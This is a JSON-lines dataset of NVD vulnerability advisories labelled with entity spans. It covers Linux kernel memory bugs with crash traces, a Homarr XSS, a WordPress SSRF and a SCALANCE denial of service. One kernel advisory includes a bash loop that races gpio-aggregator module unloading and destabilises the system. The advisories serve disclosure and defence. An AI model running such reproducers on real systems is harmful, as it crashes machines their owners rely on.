__do_sys_recvmmsg net/socket.c:3041 [inline]\n __se_sys_recvmmsg net/socket.c:3034 [inline]\n __x64_sys_recvmmsg+0x397/0x490 net/socket.c:3034\n x64_sys_call+0xf6c/0x3b50 arch/x86/include/generated/asm/syscalls_64.h:300\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xcf/0x1e0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nUninit was created at:\n slab_post_alloc_hook mm/slub.c:3804 [inline]\n slab_alloc_node mm/slub.c:3845 [inline]\n kmem_cache_alloc_node+0x613/0xc50 mm/slub.c:3888\n kmalloc_reserve+0x13d/0x4a0 net/core/skbuff.c:577\n __alloc_skb+0x35b/0x7a0 net/core/skbuff.c:668\n alloc_skb include/linux/skbuff.h:1313 [inline]\n alloc_skb_with_frags+0xc8/0xbf0 net/core/skbuff.c:6504\n sock_alloc_send_pskb+0xa81/0xbf0 net/core/sock.c:2795\n sock_alloc_send_skb include/net/sock.h:1842 [inline]\n j1939_sk_alloc_skb net/can/j1939/socket.c:878 [inline]\n j1939_sk_send_loop net/can/j1939/socket.c:1142 [inline]\n j1939_sk_sendmsg+0xc0a/0x2730 net/can/j1939/socket.c:1277\n sock_sendmsg_nosec net/socket.c:730 [inline]\n __sock_sendmsg+0x30f/0x380 net/socket.c:745\n ____sys_sendmsg+0x877/0xb60 net/socket.c:2584\n ___sys_sendmsg+0x28d/0x3c0 net/socket.c:2638\n __sys_sendmsg net/socket.c:2667 [inline]\n __do_sys_sendmsg net/socket.c:2676 [inline]\n __se_sys_sendmsg net/socket.c:2674 [inline]\n __x64_sys_sendmsg+0x307/0x4a0 net/socket.c:2674\n x64_sys_call+0xc4b/0x3b50 arch/x86/include/generated/asm/syscalls_64.h:47\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xcf/0x1e0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nBytes 12-15 of 16 are uninitialized\nMemory access of size 16 starts at ffff888120969690\nData copied to user address 00000000200017c0\n\nCPU: 1 PID: 5050 Comm: syz-executor198 Not tainted 6.9.0-rc5-syzkaller-00031-g71b1543c83d6 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/27/2024", "spans": {"FILEPATH: /linux/instrumented.h": [[417, 438], [897, 918]], "FILEPATH: /linux/iov_iter.h": [[579, 596], [668, 685], [757, 774], [999, 1016], [1058, 1075], [1117, 1134]], "FILEPATH: /linux/uio.h": [[1216, 1228]], "FILEPATH: /linux/skbuff.h": [[1264, 1279], [2250, 2265]], "FILEPATH: /can/raw.c": [[1322, 1332]], "FILEPATH: /x86/include/generated/asm/syscalls_64.h": [[1781, 1821], [3013, 3053]], "FILEPATH: /x86/entry/common.c": [[1846, 1865], [1908, 1927], [3077, 3096], [3139, 3158]], "FILEPATH: /core/skbuff.c": [[2166, 2180], [2213, 2227], [2316, 2330]], "FILEPATH: /core/sock.c": [[2373, 2385]], "FILEPATH: /net/sock.h": [[2419, 2430]], "FILEPATH: /can/j1939/socket.c": [[2468, 2487], [2524, 2543], [2592, 2611]], "FILEPATH: /27/2024": [[3514, 3522]], "FILEPATH: iov_iter.c": [[505, 515], [850, 860], [955, 965], [1180, 1190]], "FILEPATH: socket.c": [[1362, 1370], [1415, 1423], [1462, 1470], [1508, 1516], [1551, 1559], [1585, 1593], [1631, 1639], [1677, 1685], [1736, 1744], [2641, 2649], [2695, 2703], [2741, 2749], [2787, 2795], [2820, 2828], [2865, 2873], [2910, 2918], [2968, 2976]], "FILEPATH: slub.c": [[2022, 2028], [2063, 2069], [2122, 2128]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[3448, 3454], [3455, 3461], [3477, 3483], [3505, 3511]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-42076"}}
{"text": "Homarr is an open-source dashboard. Prior to 1.57.0, a DOM-based Cross-Site Scripting (XSS) vulnerability has been discovered in Homarr's /auth/login page. The application improperly trusts a URL parameter (callbackUrl), which is passed to redirect and router.push. An attacker can craft a malicious link that, when opened by an authenticated user, performs a client-side redirect and executes arbitrary JavaScript in the context of their browser. This could lead to credential theft, internal network pivoting, and unauthorized actions performed on behalf of the victim. This vulnerability is fixed in 1.57.0.", "spans": {"FILEPATH: /auth/login": [[138, 149]], "VULNERABILITY: Cross-Site Scripting": [[65, 85]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33510"}}
{"text": "A vulnerability has been identified in SCALANCE X302-7 EEC (230V), SCALANCE X302-7 EEC (230V, coated), SCALANCE X302-7 EEC (24V), SCALANCE X302-7 EEC (24V, coated), SCALANCE X302-7 EEC (2x 230V), SCALANCE X302-7 EEC (2x 230V, coated), SCALANCE X302-7 EEC (2x 24V), SCALANCE X302-7 EEC (2x 24V, coated), SCALANCE X304-2FE, SCALANCE X306-1LD FE, SCALANCE X307-2 EEC (230V), SCALANCE X307-2 EEC (230V, coated), SCALANCE X307-2 EEC (24V), SCALANCE X307-2 EEC (24V, coated), SCALANCE X307-2 EEC (2x 230V), SCALANCE X307-2 EEC (2x 230V, coated), SCALANCE X307-2 EEC (2x 24V), SCALANCE X307-2 EEC (2x 24V, coated), SCALANCE X307-3, SCALANCE X307-3, SCALANCE X307-3LD, SCALANCE X307-3LD, SCALANCE X308-2, SCALANCE X308-2, SCALANCE X308-2LD, SCALANCE X308-2LD, SCALANCE X308-2LH, SCALANCE X308-2LH, SCALANCE X308-2LH+, SCALANCE X308-2LH+, SCALANCE X308-2M, SCALANCE X308-2M, SCALANCE X308-2M PoE, SCALANCE X308-2M PoE, SCALANCE X308-2M TS, SCALANCE X308-2M TS, SCALANCE X310, SCALANCE X310, SCALANCE X310FE, SCALANCE X310FE, SCALANCE X320-1 FE, SCALANCE X320-1-2LD FE, SCALANCE X408-2, SCALANCE XR324-12M (230V, ports on front), SCALANCE XR324-12M (230V, ports on front), SCALANCE XR324-12M (230V, ports on rear), SCALANCE XR324-12M (230V, ports on rear), SCALANCE XR324-12M (24V, ports on front), SCALANCE XR324-12M (24V, ports on front), SCALANCE XR324-12M (24V, ports on rear), SCALANCE XR324-12M (24V, ports on rear), SCALANCE XR324-12M TS (24V), SCALANCE XR324-12M TS (24V), SCALANCE XR324-4M EEC (100-240VAC/60-250VDC, ports on front), SCALANCE XR324-4M EEC (100-240VAC/60-250VDC, ports on front), SCALANCE XR324-4M EEC (100-240VAC/60-250VDC, ports on rear), SCALANCE XR324-4M EEC (100-240VAC/60-250VDC, ports on rear), SCALANCE XR324-4M EEC (24V, ports on front), SCALANCE XR324-4M EEC (24V, ports on front), SCALANCE XR324-4M EEC (24V, ports on rear), SCALANCE XR324-4M EEC (24V, ports on rear), SCALANCE XR324-4M EEC (2x 100-240VAC/60-250VDC, ports on front), SCALANCE XR324-4M EEC (2x 100-240VAC/60-250VDC, ports on front), SCALANCE XR324-4M EEC (2x 100-240VAC/60-250VDC, ports on rear), SCALANCE XR324-4M EEC (2x 100-240VAC/60-250VDC, ports on rear), SCALANCE XR324-4M EEC (2x 24V, ports on front), SCALANCE XR324-4M EEC (2x 24V, ports on front), SCALANCE XR324-4M EEC (2x 24V, ports on rear), SCALANCE XR324-4M EEC (2x 24V, ports on rear), SCALANCE XR324-4M PoE (230V, ports on front), SCALANCE XR324-4M PoE (230V, ports on rear), SCALANCE XR324-4M PoE (24V, ports on front), SCALANCE XR324-4M PoE (24V, ports on rear), SCALANCE XR324-4M PoE TS (24V, ports on front), SIPLUS NET SCALANCE X308-2. Affected devices do not properly validate the URI of incoming HTTP GET requests. This could allow an unauthenticated remote attacker to crash affected devices.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-26335"}}
{"text": "The UsersWP – Front-end login form, User Registration, User Profile & Members Directory plugin for WP plugin for WordPress is vulnerable to blind Server-Side Request Forgery in all versions up to, and including, 1.2.58. This is due to insufficient URL origin validation in the process_image_crop() method when processing avatar/banner image crop operations. The function accepts a user-controlled URL via the uwp_crop POST parameter and only validates it using esc_url() for sanitization and wp_check_filetype() for extension verification, without enforcing that the URL references a local uploads file. The URL is then passed to uwp_resizeThumbnailImage() which uses it in PHP image processing functions (getimagesize(), imagecreatefrom*()) that support URL wrappers and perform outbound HTTP requests. This makes it possible for authenticated attackers with subscriber-level access and above to coerce the WordPress server into making arbitrary HTTP requests to attacker-controlled or internal network destinations, enabling internal network scanning and potential access to sensitive services.", "spans": {"SYSTEM: WordPress": [[113, 122], [908, 917]], "SYSTEM: PHP": [[674, 677]], "VULNERABILITY: Server-Side Request Forgery": [[146, 173]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-4979"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmtd: Avoid boot crash in RedBoot partition table parser\n\nGiven CONFIG_FORTIFY_SOURCE=y and a recent compiler,\ncommit 439a1bcac648 (\"fortify: Use __builtin_dynamic_object_size() when\navailable\") produces the warning below and an oops.\n\n    Searching for RedBoot partition table in 50000000.flash at offset 0x7e0000\n    ------------[ cut here ]------------\n    WARNING: lib/string_helpers.c:1035 at 0xc029e04c, CPU#0: swapper/0/1\n    memcmp: detected buffer overflow: 15 byte read of buffer size 14\n    Modules linked in:\n    CPU: 0 UID: 0 PID: 1 Comm: swapper/0 Not tainted 6.19.0 #1 NONE\n\nAs Kees said, \"'names' is pointing to the final 'namelen' many bytes\nof the allocation ... 'namelen' could be basically any length at all.\nThis fortify warning looks legit to me -- this code used to be reading\nbeyond the end of the allocation.\"\n\nSince the size of the dynamic allocation is calculated with strlen()\nwe can use strcmp() instead of memcmp() and remain within bounds.", "spans": {"FILEPATH: /0/1": [[492, 496]], "FILEPATH: string_helpers.c": [[441, 457]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: buffer overflow": [[518, 533]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23474"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath11k: fix registration of 6Ghz-only phy without the full channel range\n\nBecause of what seems to be a typo, a 6Ghz-only phy for which the BDF\ndoes not allow the 7115Mhz channel will fail to register:\n\n  WARNING: CPU: 2 PID: 106 at net/wireless/core.c:907 wiphy_register+0x914/0x954\n  Modules linked in: ath11k_pci sbsa_gwdt\n  CPU: 2 PID: 106 Comm: kworker/u8:5 Not tainted 6.3.0-rc7-next-20230418-00549-g1e096a17625a-dirty #9\n  Hardware name: Freebox V7R Board (DT)\n  Workqueue: ath11k_qmi_driver_event ath11k_qmi_driver_event_work\n  pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n  pc : wiphy_register+0x914/0x954\n  lr : ieee80211_register_hw+0x67c/0xc10\n  sp : ffffff800b123aa0\n  x29: ffffff800b123aa0 x28: 0000000000000000 x27: 0000000000000000\n  x26: 0000000000000000 x25: 0000000000000006 x24: ffffffc008d51418\n  x23: ffffffc008cb0838 x22: ffffff80176c2460 x21: 0000000000000168\n  x20: ffffff80176c0000 x19: ffffff80176c03e0 x18: 0000000000000014\n  x17: 00000000cbef338c x16: 00000000d2a26f21 x15: 00000000ad6bb85f\n  x14: 0000000000000020 x13: 0000000000000020 x12: 00000000ffffffbd\n  x11: 0000000000000208 x10: 00000000fffffdf7 x9 : ffffffc009394718\n  x8 : ffffff80176c0528 x7 : 000000007fffffff x6 : 0000000000000006\n  x5 : 0000000000000005 x4 : ffffff800b304284 x3 : ffffff800b304284\n  x2 : ffffff800b304d98 x1 : 0000000000000000 x0 : 0000000000000000\n  Call trace:\n   wiphy_register+0x914/0x954\n   ieee80211_register_hw+0x67c/0xc10\n   ath11k_mac_register+0x7c4/0xe10\n   ath11k_core_qmi_firmware_ready+0x1f4/0x570\n   ath11k_qmi_driver_event_work+0x198/0x590\n   process_one_work+0x1b8/0x328\n   worker_thread+0x6c/0x414\n   kthread+0x100/0x104\n   ret_from_fork+0x10/0x20\n  ---[ end trace 0000000000000000 ]---\n  ath11k_pci 0002:01:00.0: ieee80211 registration failed: -22\n  ath11k_pci 0002:01:00.0: failed register the radio with mac80211: -22\n  ath11k_pci 0002:01:00.0: failed to create pdev core: -22", "spans": {"FILEPATH: /wireless/core.c": [[311, 327]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54229"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ngpio: aggregator: protect driver attr handlers against module unload\n\nBoth new_device_store and delete_device_store touch module global\nresources (e.g. gpio_aggregator_lock). To prevent race conditions with\nmodule unload, a reference needs to be held.\n\nAdd try_module_get() in these handlers.\n\nFor new_device_store, this eliminates what appears to be the most dangerous\nscenario: if an id is allocated from gpio_aggregator_idr but\nplatform_device_register has not yet been called or completed, a concurrent\nmodule unload could fail to unregister/delete the device, leaving behind a\ndangling platform device/GPIO forwarder. This can result in various issues.\nThe following simple reproducer demonstrates these problems:\n\n  #!/bin/bash\n  while :; do\n    # note: whether 'gpiochip0 0' exists or not does not matter.\n    echo 'gpiochip0 0' > /sys/bus/platform/drivers/gpio-aggregator/new_device\n  done &\n  while :; do\n    modprobe gpio-aggregator\n    modprobe -r gpio-aggregator\n  done &\n  wait\n\n  Starting with the following warning, several kinds of warnings will appear\n  and the system may become unstable:\n\n  ------------[ cut here ]------------\n  list_del corruption, ffff888103e2e980->next is LIST_POISON1 (dead000000000100)\n  WARNING: CPU: 1 PID: 1327 at lib/list_debug.c:56 __list_del_entry_valid_or_report+0xa3/0x120\n  [...]\n  RIP: 0010:__list_del_entry_valid_or_report+0xa3/0x120\n  [...]\n  Call Trace:\n   <TASK>\n   ? __list_del_entry_valid_or_report+0xa3/0x120\n   ? __warn.cold+0x93/0xf2\n   ? __list_del_entry_valid_or_report+0xa3/0x120\n   ? report_bug+0xe6/0x170\n   ? __irq_work_queue_local+0x39/0xe0\n   ? handle_bug+0x58/0x90\n   ? exc_invalid_op+0x13/0x60\n   ? asm_exc_invalid_op+0x16/0x20\n   ? __list_del_entry_valid_or_report+0xa3/0x120\n   gpiod_remove_lookup_table+0x22/0x60\n   new_device_store+0x315/0x350 [gpio_aggregator]\n   kernfs_fop_write_iter+0x137/0x1f0\n   vfs_write+0x262/0x430\n   ksys_write+0x60/0xd0\n   do_syscall_64+0x6c/0x180\n   entry_SYSCALL_64_after_hwframe+0x76/0x7e\n   [...]\n   </TASK>\n  ---[ end trace 0000000000000000 ]---", "spans": {"FILEPATH: /bin/bash": [[793, 802]], "FILEPATH: /sys/bus/platform/drivers/gpio-aggregator/new_device": [[907, 959]], "FILEPATH: list_debug.c": [[1332, 1344]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21943"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ngtp: pull network headers in gtp_dev_xmit()\n\nsyzbot/KMSAN reported use of uninit-value in get_dev_xmit() [1]\n\nWe must make sure the IPv4 or Ipv6 header is pulled in skb->head\nbefore accessing fields in them.\n\nUse pskb_inet_may_pull() to fix this issue.\n\n[1]\nBUG: KMSAN: uninit-value in ipv6_pdp_find drivers/net/gtp.c:220 [inline]\n BUG: KMSAN: uninit-value in gtp_build_skb_ip6 drivers/net/gtp.c:1229 [inline]\n BUG: KMSAN: uninit-value in gtp_dev_xmit+0x1424/0x2540 drivers/net/gtp.c:1281\n  ipv6_pdp_find drivers/net/gtp.c:220 [inline]\n  gtp_build_skb_ip6 drivers/net/gtp.c:1229 [inline]\n  gtp_dev_xmit+0x1424/0x2540 drivers/net/gtp.c:1281\n  __netdev_start_xmit include/linux/netdevice.h:4913 [inline]\n  netdev_start_xmit include/linux/netdevice.h:4922 [inline]\n  xmit_one net/core/dev.c:3580 [inline]\n  dev_hard_start_xmit+0x247/0xa20 net/core/dev.c:3596\n  __dev_queue_xmit+0x358c/0x5610 net/core/dev.c:4423\n  dev_queue_xmit include/linux/netdevice.h:3105 [inline]\n  packet_xmit+0x9c/0x6c0 net/packet/af_packet.c:276\n  packet_snd net/packet/af_packet.c:3145 [inline]\n  packet_sendmsg+0x90e3/0xa3a0 net/packet/af_packet.c:3177\n  sock_sendmsg_nosec net/socket.c:730 [inline]\n  __sock_sendmsg+0x30f/0x380 net/socket.c:745\n  __sys_sendto+0x685/0x830 net/socket.c:2204\n  __do_sys_sendto net/socket.c:2216 [inline]\n  __se_sys_sendto net/socket.c:2212 [inline]\n  __x64_sys_sendto+0x125/0x1d0 net/socket.c:2212\n  x64_sys_call+0x3799/0x3c10 arch/x86/include/generated/asm/syscalls_64.h:45\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nUninit was created at:\n  slab_post_alloc_hook mm/slub.c:3994 [inline]\n  slab_alloc_node mm/slub.c:4037 [inline]\n  kmem_cache_alloc_node_noprof+0x6bf/0xb80 mm/slub.c:4080\n  kmalloc_reserve+0x13d/0x4a0 net/core/skbuff.c:583\n  __alloc_skb+0x363/0x7b0 net/core/skbuff.c:674\n  alloc_skb include/linux/skbuff.h:1320 [inline]\n  alloc_skb_with_frags+0xc8/0xbf0 net/core/skbuff.c:6526\n  sock_alloc_send_pskb+0xa81/0xbf0 net/core/sock.c:2815\n  packet_alloc_skb net/packet/af_packet.c:2994 [inline]\n  packet_snd net/packet/af_packet.c:3088 [inline]\n  packet_sendmsg+0x749c/0xa3a0 net/packet/af_packet.c:3177\n  sock_sendmsg_nosec net/socket.c:730 [inline]\n  __sock_sendmsg+0x30f/0x380 net/socket.c:745\n  __sys_sendto+0x685/0x830 net/socket.c:2204\n  __do_sys_sendto net/socket.c:2216 [inline]\n  __se_sys_sendto net/socket.c:2212 [inline]\n  __x64_sys_sendto+0x125/0x1d0 net/socket.c:2212\n  x64_sys_call+0x3799/0x3c10 arch/x86/include/generated/asm/syscalls_64.h:45\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nCPU: 0 UID: 0 PID: 7115 Comm: syz.1.515 Not tainted 6.11.0-rc1-syzkaller-00043-g94ede2a3e913 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 06/27/2024", "spans": {"FILEPATH: /net/gtp.c": [[376, 386], [454, 464], [542, 552], [581, 591], [632, 642], [693, 703]], "FILEPATH: /linux/netdevice.h": [[738, 756], [798, 816], [1002, 1020]], "FILEPATH: /core/dev.c": [[845, 856], [908, 919], [961, 972]], "FILEPATH: /packet/af_packet.c": [[1063, 1082], [1103, 1122], [1171, 1190], [2154, 2173], [2204, 2223], [2272, 2291]], "FILEPATH: /x86/include/generated/asm/syscalls_64.h": [[1506, 1546], [2607, 2647]], "FILEPATH: /x86/entry/common.c": [[1571, 1590], [1634, 1653], [2672, 2691], [2735, 2754]], "FILEPATH: /core/skbuff.c": [[1903, 1917], [1951, 1965], [2056, 2070]], "FILEPATH: /linux/skbuff.h": [[1989, 2004]], "FILEPATH: /core/sock.c": [[2114, 2126]], "FILEPATH: /27/2024": [[2978, 2986]], "FILEPATH: socket.c": [[1221, 1229], [1276, 1284], [1320, 1328], [1356, 1364], [1401, 1409], [1459, 1467], [2322, 2330], [2377, 2385], [2421, 2429], [2457, 2465], [2502, 2510], [2560, 2568]], "FILEPATH: slub.c": [[1749, 1755], [1791, 1797], [1858, 1864]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[2912, 2918], [2919, 2925], [2941, 2947], [2969, 2975]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-44999"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: bonding: fix use-after-free in bond_xmit_broadcast()\n\nbond_xmit_broadcast() reuses the original skb for the last slave\n(determined by bond_is_last_slave()) and clones it for others.\nConcurrent slave enslave/release can mutate the slave list during\nRCU-protected iteration, changing which slave is \"last\" mid-loop.\nThis causes the original skb to be double-consumed (double-freed).\n\nReplace the racy bond_is_last_slave() check with a simple index\ncomparison (i + 1 == slaves_count) against the pre-snapshot slave\ncount taken via READ_ONCE() before the loop.  This preserves the\nzero-copy optimization for the last slave while making the \"last\"\ndetermination stable against concurrent list mutations.\n\nThe UAF can trigger the following crash:\n\n==================================================================\nBUG: KASAN: slab-use-after-free in skb_clone\nRead of size 8 at addr ffff888100ef8d40 by task exploit/147\n\nCPU: 1 UID: 0 PID: 147 Comm: exploit Not tainted 7.0.0-rc3+ #4 PREEMPTLAZY\nCall Trace:\n <TASK>\n dump_stack_lvl (lib/dump_stack.c:123)\n print_report (mm/kasan/report.c:379 mm/kasan/report.c:482)\n kasan_report (mm/kasan/report.c:597)\n skb_clone (include/linux/skbuff.h:1724 include/linux/skbuff.h:1792 include/linux/skbuff.h:3396 net/core/skbuff.c:2108)\n bond_xmit_broadcast (drivers/net/bonding/bond_main.c:5334)\n bond_start_xmit (drivers/net/bonding/bond_main.c:5567 drivers/net/bonding/bond_main.c:5593)\n dev_hard_start_xmit (include/linux/netdevice.h:5325 include/linux/netdevice.h:5334 net/core/dev.c:3871 net/core/dev.c:3887)\n __dev_queue_xmit (include/linux/netdevice.h:3601 net/core/dev.c:4838)\n ip6_finish_output2 (include/net/neighbour.h:540 include/net/neighbour.h:554 net/ipv6/ip6_output.c:136)\n ip6_finish_output (net/ipv6/ip6_output.c:208 net/ipv6/ip6_output.c:219)\n ip6_output (net/ipv6/ip6_output.c:250)\n ip6_send_skb (net/ipv6/ip6_output.c:1985)\n udp_v6_send_skb (net/ipv6/udp.c:1442)\n udpv6_sendmsg (net/ipv6/udp.c:1733)\n __sys_sendto (net/socket.c:730 net/socket.c:742 net/socket.c:2206)\n __x64_sys_sendto (net/socket.c:2209)\n do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)\n entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n </TASK>\n\nAllocated by task 147:\n\nFreed by task 147:\n\nThe buggy address belongs to the object at ffff888100ef8c80\n which belongs to the cache skbuff_head_cache of size 224\nThe buggy address is located 192 bytes inside of\n freed 224-byte region [ffff888100ef8c80, ffff888100ef8d60)\n\nMemory state around the buggy address:\n ffff888100ef8c00: fb fb fb fb fc fc fc fc fc fc fc fc fc fc fc fc\n ffff888100ef8c80: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n>ffff888100ef8d00: fb fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc\n                                                    ^\n ffff888100ef8d80: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb\n ffff888100ef8e00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n==================================================================", "spans": {"FILEPATH: /kasan/report.c": [[1140, 1155], [1162, 1177], [1200, 1215]], "FILEPATH: /linux/skbuff.h": [[1240, 1255], [1268, 1283], [1296, 1311]], "FILEPATH: /core/skbuff.c": [[1320, 1334]], "FILEPATH: /net/bonding/bond_main.c": [[1370, 1394], [1426, 1450], [1463, 1487]], "FILEPATH: /linux/netdevice.h": [[1523, 1541], [1554, 1572], [1645, 1663]], "FILEPATH: /core/dev.c": [[1581, 1592], [1601, 1612], [1672, 1683]], "FILEPATH: /net/neighbour.h": [[1718, 1734], [1746, 1762]], "FILEPATH: /ipv6/ip6_output.c": [[1770, 1788], [1817, 1835], [1843, 1861], [1883, 1901], [1925, 1943]], "FILEPATH: /ipv6/udp.c": [[1971, 1982], [2008, 2019]], "FILEPATH: /x86/entry/syscall_64.c": [[2152, 2175], [2183, 2206]], "FILEPATH: /x86/entry/entry_64.S": [[2248, 2269]], "FILEPATH: dump_stack.c": [[1105, 1117]], "FILEPATH: socket.c": [[2045, 2053], [2062, 2070], [2079, 2087], [2117, 2125]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[87, 101], [900, 914]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31419"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: fix use-after-free in amdgpu_userq_suspend+0x51a/0x5a0\n\n[  +0.000020] BUG: KASAN: slab-use-after-free in amdgpu_userq_suspend+0x51a/0x5a0 [amdgpu]\n[  +0.000817] Read of size 8 at addr ffff88812eec8c58 by task amd_pci_unplug/1733\n\n[  +0.000027] CPU: 10 UID: 0 PID: 1733 Comm: amd_pci_unplug Tainted: G        W          6.14.0+ #2\n[  +0.000009] Tainted: [W]=WARN\n[  +0.000003] Hardware name: ASUS System Product Name/ROG STRIX B550-F GAMING (WI-FI), BIOS 1401 12/03/2020\n[  +0.000004] Call Trace:\n[  +0.000004]  <TASK>\n[  +0.000003]  dump_stack_lvl+0x76/0xa0\n[  +0.000011]  print_report+0xce/0x600\n[  +0.000009]  ? srso_return_thunk+0x5/0x5f\n[  +0.000006]  ? kasan_complete_mode_report_info+0x76/0x200\n[  +0.000007]  ? kasan_addr_to_slab+0xd/0xb0\n[  +0.000006]  ? amdgpu_userq_suspend+0x51a/0x5a0 [amdgpu]\n[  +0.000707]  kasan_report+0xbe/0x110\n[  +0.000006]  ? amdgpu_userq_suspend+0x51a/0x5a0 [amdgpu]\n[  +0.000541]  __asan_report_load8_noabort+0x14/0x30\n[  +0.000005]  amdgpu_userq_suspend+0x51a/0x5a0 [amdgpu]\n[  +0.000535]  ? stop_cpsch+0x396/0x600 [amdgpu]\n[  +0.000556]  ? stop_cpsch+0x429/0x600 [amdgpu]\n[  +0.000536]  ? __pfx_amdgpu_userq_suspend+0x10/0x10 [amdgpu]\n[  +0.000536]  ? srso_return_thunk+0x5/0x5f\n[  +0.000004]  ? kgd2kfd_suspend+0x132/0x1d0 [amdgpu]\n[  +0.000542]  amdgpu_device_fini_hw+0x581/0xe90 [amdgpu]\n[  +0.000485]  ? down_write+0xbb/0x140\n[  +0.000007]  ? __mutex_unlock_slowpath.constprop.0+0x317/0x360\n[  +0.000005]  ? __pfx_amdgpu_device_fini_hw+0x10/0x10 [amdgpu]\n[  +0.000482]  ? __kasan_check_write+0x14/0x30\n[  +0.000004]  ? srso_return_thunk+0x5/0x5f\n[  +0.000004]  ? up_write+0x55/0xb0\n[  +0.000007]  ? srso_return_thunk+0x5/0x5f\n[  +0.000005]  ? blocking_notifier_chain_unregister+0x6c/0xc0\n[  +0.000008]  amdgpu_driver_unload_kms+0x69/0x90 [amdgpu]\n[  +0.000484]  amdgpu_pci_remove+0x93/0x130 [amdgpu]\n[  +0.000482]  pci_device_remove+0xae/0x1e0\n[  +0.000008]  device_remove+0xc7/0x180\n[  +0.000008]  device_release_driver_internal+0x3d4/0x5a0\n[  +0.000007]  device_release_driver+0x12/0x20\n[  +0.000004]  pci_stop_bus_device+0x104/0x150\n[  +0.000006]  pci_stop_and_remove_bus_device_locked+0x1b/0x40\n[  +0.000005]  remove_store+0xd7/0xf0\n[  +0.000005]  ? __pfx_remove_store+0x10/0x10\n[  +0.000006]  ? __pfx__copy_from_iter+0x10/0x10\n[  +0.000006]  ? __pfx_dev_attr_store+0x10/0x10\n[  +0.000006]  dev_attr_store+0x3f/0x80\n[  +0.000006]  sysfs_kf_write+0x125/0x1d0\n[  +0.000004]  ? srso_return_thunk+0x5/0x5f\n[  +0.000005]  ? __kasan_check_write+0x14/0x30\n[  +0.000005]  kernfs_fop_write_iter+0x2ea/0x490\n[  +0.000005]  ? rw_verify_area+0x70/0x420\n[  +0.000005]  ? __pfx_kernfs_fop_write_iter+0x10/0x10\n[  +0.000006]  vfs_write+0x90d/0xe70\n[  +0.000005]  ? srso_return_thunk+0x5/0x5f\n[  +0.000005]  ? __pfx_vfs_write+0x10/0x10\n[  +0.000004]  ? local_clock+0x15/0x30\n[  +0.000008]  ? srso_return_thunk+0x5/0x5f\n[  +0.000004]  ? __kasan_slab_free+0x5f/0x80\n[  +0.000005]  ? srso_return_thunk+0x5/0x5f\n[  +0.000004]  ? __kasan_check_read+0x11/0x20\n[  +0.000004]  ? srso_return_thunk+0x5/0x5f\n[  +0.000004]  ? fdget_pos+0x1d3/0x500\n[  +0.000007]  ksys_write+0x119/0x220\n[  +0.000005]  ? putname+0x1c/0x30\n[  +0.000006]  ? __pfx_ksys_write+0x10/0x10\n[  +0.000007]  __x64_sys_write+0x72/0xc0\n[  +0.000006]  x64_sys_call+0x18ab/0x26f0\n[  +0.000006]  do_syscall_64+0x7c/0x170\n[  +0.000004]  ? srso_return_thunk+0x5/0x5f\n[  +0.000004]  ? __pfx___x64_sys_openat+0x10/0x10\n[  +0.000006]  ? srso_return_thunk+0x5/0x5f\n[  +0.000004]  ? __kasan_check_read+0x11/0x20\n[  +0.000003]  ? srso_return_thunk+0x5/0x5f\n[  +0.000004]  ? fpregs_assert_state_consistent+0x21/0xb0\n[  +0.000006]  ? srso_return_thunk+0x5/0x5f\n[  +0.000004]  ? syscall_exit_to_user_mode+0x4e/0x240\n[  +0.000005]  ? srso_return_thunk+0x5/0x5f\n[  +0.000004]  ? do_syscall_64+0x88/0x170\n[  +0.000003]  ? srso_return_thunk+0x5/0x5f\n[  +0.000004]  ? irqentry_exit+0x43/0x50\n[  +0.000004]  ? srso_return_thunk+0x5\n---truncated---", "spans": {"FILEPATH: /03/2020": [[542, 550]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: ASUS": [[472, 476]], "VULNERABILITY: use-after-free": [[85, 99], [168, 182]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38598"}}
